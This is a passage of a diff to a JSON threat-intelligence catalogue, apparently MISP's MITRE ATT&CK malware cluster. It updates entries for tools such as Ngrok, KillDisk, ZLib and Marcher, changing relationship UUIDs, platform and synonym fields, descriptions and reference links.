"4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21023,6 +20696,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -21030,6 +20710,13 @@ ], "type": "uses" }, + { + "dest-uuid": "8197f026-64da-4700-93b9-b55ba55f3b31", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -21038,7 +20725,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21059,7 +20746,7 @@ "type": "uses" }, { - "dest-uuid": "e422b6fa-4739-46b9-992e-82f1b350c780", + "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21160,7 +20847,7 @@ "value": "SslMM - S0058" }, { - "description": "[Ngrok](https://attack.mitre.org/software/S0508) is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. [Ngrok](https://attack.mitre.org/software/S0508) has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.(Citation: Zdnet Ngrok September 2018)(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019)(Citation: MalwareBytes LazyScripter Feb 2021)", + "description": "[Ngrok](https://attack.mitre.org/software/S0508) is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. [Ngrok](https://attack.mitre.org/software/S0508) has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.(Citation: Zdnet Ngrok September 2018)(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019)", "meta": { "external_id": "S0508", "mitre_platforms": [ @@ -21170,7 +20857,6 @@ "https://attack.mitre.org/software/S0508", "https://cyware.com/news/cyber-attackers-leverage-tunneling-service-to-drop-lokibot-onto-victims-systems-6f610e44", "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", - "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "https://www.zdnet.com/article/sly-malware-author-hides-cryptomining-botnet-behind-ever-shifting-proxy-service/" ], "synonyms": [ @@ -21241,21 +20927,21 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21268,6 +20954,20 @@ ], "type": "uses" }, + { + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", "tags": [ @@ -21276,7 +20976,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -21296,20 +20996,6 @@ ], "type": "uses" }, - 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], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "fde19a18-e502-467f-be14-58c71b4e7f4b", - "value": "WarzoneRAT - S0670" - }, { "description": "[KillDisk](https://attack.mitre.org/software/S0607) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](https://attack.mitre.org/software/S0089) malware during cyber attacks against Ukraine in 2015. [KillDisk](https://attack.mitre.org/software/S0607) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)", "meta": { @@ -21989,13 +21206,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", "tags": [ @@ -22224,103 +21434,6 @@ "uuid": "58eddbaf-7416-419a-ad7b-e65b9d4c3b55", "value": "Conficker - S0608" }, - { - "description": "[LitePower](https://attack.mitre.org/software/S0680) is a downloader and second stage malware that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)", - "meta": { - "external_id": "S0680", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0680", - "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044" - ], - "synonyms": [ - "LitePower" - ] - }, - "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "9020f5c7-efde-4125-a4f1-1b70f1274ddd", - "value": "LitePower - S0680" - }, { "description": "[ZLib](https://attack.mitre.org/software/S0086) is a full-featured backdoor that was used as a second-stage implant by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)", "meta": { @@ -22330,7 +21443,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0086", - "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf" + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" ], "synonyms": [ "ZLib" @@ -22693,6 +21806,9 @@ "refs": [ "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/", "https://attack.mitre.org/software/S0079" + ], + "synonyms": [ + "MobileOrder" ] }, "related": [ @@ -23345,9 +22461,15 @@ "description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)", "meta": { "external_id": "S0131", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0131", "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + ], + "synonyms": [ + "TINYTYPHON" ] }, "related": [ @@ -23511,6 +22633,13 @@ ], "type": "uses" }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -23538,13 +22667,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "37cc7eb6-12e3-467b-82e8-f20f2cc73c69", @@ -23554,12 +22676,26 @@ "description": "[YiSpecter](https://attack.mitre.org/software/S0311) iOS malware that affects both jailbroken and non-jailbroken iOS devices. It is also unique because it abuses private APIs in the iOS system to implement functionality. (Citation: PaloAlto-YiSpecter)", "meta": { "external_id": "S0311", + "mitre_platforms": [ + "iOS" + ], "refs": [ "https://attack.mitre.org/software/S0311", "https://researchcenter.paloaltonetworks.com/2015/10/yispecter-first-ios-malware-attacks-non-jailbroken-ios-devices-by-abusing-private-apis/" + ], + "synonyms": [ + "YiSpecter" ] }, - "related": [], + "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], "uuid": "a15c9357-2be0-4836-beec-594f28b9b4a9", "value": "YiSpecter - S0311" }, @@ -23630,28 +22766,49 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", + "dest-uuid": "60623164-ccd8-4508-a141-b5a34820b3de", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23665,14 +22822,7 @@ "type": "uses" }, { - "dest-uuid": "bb4387ab-7a51-468b-bf5f-a9a8612f0303", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23692,13 +22842,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -23707,21 +22850,21 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "fd211238-f767-4599-8c0d-9dca36624626", + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -23735,9 +22878,15 @@ "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)", "meta": { "external_id": "S0151", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0151", "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + ], + "synonyms": [ + "HALFBAKED" ] }, "related": [ @@ -24707,7 +23856,7 @@ }, "related": [ { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24720,6 +23869,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -24921,14 +24077,20 @@ "description": "[HummingWhale](https://attack.mitre.org/software/S0321) is an Android malware family that performs ad fraud. (Citation: ArsTechnica-HummingWhale)", "meta": { "external_id": "S0321", + "mitre_platforms": [ + "Android" + ], "refs": [ "http://arstechnica.com/security/2017/01/virulent-android-malware-returns-gets-2-million-downloads-on-google-play/", "https://attack.mitre.org/software/S0321" + ], + "synonyms": [ + "HummingWhale" ] }, "related": [ { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -24942,10 +24104,15 @@ "description": "[WireLurker](https://attack.mitre.org/software/S0312) is a family of macOS malware that targets iOS devices connected over USB. (Citation: PaloAlto-WireLurker)", "meta": { "external_id": "S0312", + "mitre_platforms": [ + "iOS" + ], "refs": [ "https://attack.mitre.org/software/S0312", - "https://researchcenter.paloaltonetworks.com/2014/11/wirelurker-new-era-os-x-ios-malware/", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" + "https://researchcenter.paloaltonetworks.com/2014/11/wirelurker-new-era-os-x-ios-malware/" + ], + "synonyms": [ + "WireLurker" ] }, "related": [ @@ -25111,9 +24278,15 @@ "description": "[HAPPYWORK](https://attack.mitre.org/software/S0214) is a downloader used by [APT37](https://attack.mitre.org/groups/G0067) to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)", "meta": { "external_id": "S0214", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0214", "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + ], + "synonyms": [ + "HAPPYWORK" ] }, "related": [ @@ -25270,21 +24443,14 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25297,6 +24463,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", "tags": [ @@ -25304,6 +24477,20 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -25312,7 +24499,7 @@ "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -25325,13 +24512,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -25346,13 +24526,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -25373,6 +24546,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "c19cfc89-5ac6-4d2d-a236-70d2b32e007c", @@ -25462,7 +24642,7 @@ "value": "Pisloader - S0124" }, { - "description": "[ZxShell](https://attack.mitre.org/software/S0412) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014)", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014 )", "meta": { "external_id": "S0412", "mitre_platforms": [ @@ -25535,27 +24715,6 @@ ], "type": "uses" }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ @@ -25563,13 +24722,6 @@ ], "type": "uses" }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ @@ -25633,13 +24785,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", "tags": [ @@ -25703,13 +24848,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ @@ -27351,9 +26489,15 @@ "description": "[SHUTTERSPEED](https://attack.mitre.org/software/S0217) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", "meta": { "external_id": "S0217", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0217", "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + ], + "synonyms": [ + "SHUTTERSPEED" ] }, "related": [ @@ -27901,13 +27045,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ @@ -27943,6 +27080,13 @@ ], "type": "uses" }, + { + "dest-uuid": "3911658a-6506-4deb-9ab4-595a51ae71ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ @@ -27978,6 +27122,13 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -28013,13 +27164,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "tags": [ @@ -28034,13 +27178,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ @@ -28062,6 +27199,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ @@ -28084,9 +27228,15 @@ "description": "[WINERACK](https://attack.mitre.org/software/S0219) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", "meta": { "external_id": "S0219", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0219", "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + ], + "synonyms": [ + "WINERACK" ] }, "related": [ @@ -28154,21 +27304,27 @@ "description": "[PJApps](https://attack.mitre.org/software/S0291) is an Android malware family. (Citation: Lookout-EnterpriseApps)", "meta": { "external_id": "S0291", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0291", "https://blog.lookout.com/blog/2016/05/25/spoofed-apps/" + ], + "synonyms": [ + "PJApps" ] }, "related": [ { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28189,21 +27345,27 @@ "description": "[RuMMS](https://attack.mitre.org/software/S0313) is an Android malware family. (Citation: FireEye-RuMMS)", "meta": { "external_id": "S0313", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0313", "https://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html" + ], + "synonyms": [ + "RuMMS" ] }, "related": [ { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28222,6 +27384,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "936be60d-90eb-4c36-9247-4b31128432c4", @@ -28995,9 +28164,16 @@ "description": "[DualToy](https://attack.mitre.org/software/S0315) is Windows malware that installs malicious applications onto Android and iOS devices connected over USB. (Citation: PaloAlto-DualToy)", "meta": { "external_id": "S0315", + "mitre_platforms": [ + "Android", + "iOS" + ], "refs": [ "https://attack.mitre.org/software/S0315", "https://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/" + ], + "synonyms": [ + "DualToy" ] }, "related": [ @@ -29519,7 +28695,7 @@ "value": "RedLeaves - S0153" }, { - "description": "[USBStealer](https://attack.mitre.org/software/S0136) is malware that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) is malware that has used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)", "meta": { "external_id": "S0136", "mitre_platforms": [ @@ -29863,7 +29039,6 @@ "macOS" ], "refs": [ - "http://www.thesafemac.com/new-signed-malware-called-janicab/", "https://attack.mitre.org/software/S0163" ], "synonyms": [ @@ -30118,21 +29293,34 @@ "description": "[Marcher](https://attack.mitre.org/software/S0317) is Android malware that is used for financial fraud. (Citation: Proofpoint-Marcher)", "meta": { "external_id": "S0317", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0317", "https://www.proofpoint.com/us/threat-insight/post/credential-phishing-and-android-banking-trojan-combine-austrian-mobile-attacks" + ], + "synonyms": [ + "Marcher" ] }, "related": [ { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": 